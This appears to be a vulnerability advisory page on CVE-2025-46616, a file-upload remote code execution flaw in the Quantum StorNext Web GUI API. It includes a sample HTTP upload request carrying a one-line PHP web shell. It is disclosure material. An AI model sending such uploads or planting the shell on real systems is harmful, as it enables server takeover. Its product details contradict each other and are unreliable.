Overview
The CVE-2025-46616 vulnerability is a severe issue associated with Quantum StorNext Web GUI API versions before 7.2.4. This vulnerability has a significant impact, potentially allowing an attacker to execute arbitrary code remotely on the affected systems. This means that an attacker could gain control over a system, leading to various consequences, such as system compromise or data leakage. The systems affected by this vulnerability are StorNext RYO, StorNext Xcellis Workflow Director, and ActiveScale Cold Storage, all prior to version 7.2.4.
This vulnerability is of major concern because the Quantum StorNext solutions are widely used for managing data, and a successful exploit could put sensitive information at risk. The severity of this vulnerability, coupled with the potential widespread impact, underscores the need for immediate action to mitigate its effects.
Vulnerability Summary
CVE ID: CVE-2025-46616
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
No phone number, email, or personal info required.
Product | Affected Versions
Quantum StorNext RYO | Before 7.2.4
Quantum StorNext Xcellis Workflow Director | Before 7.2.4
ActiveScale Cold Storage | Not specified
How the Exploit Works
The CVE-2025-46616 vulnerability stems from insufficient sanitization of user-supplied files in Quantum StorNext Web GUI API. An attacker could exploit this vulnerability by uploading a crafted file that contains malicious code. Once the file is uploaded to the affected system, the code within the file could be executed, potentially giving the attacker control over the system.
Conceptual Example Code
Note: This is a simplified conceptual example of how the vulnerability might be exploited and does not represent actual exploit code.
POST /uploadFile HTTP/1.1
Host: vulnerable-system.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker attempts to upload a PHP file that contains a system command execution function. If the upload is successful and the file is executed, the attacker could potentially gain control over the system.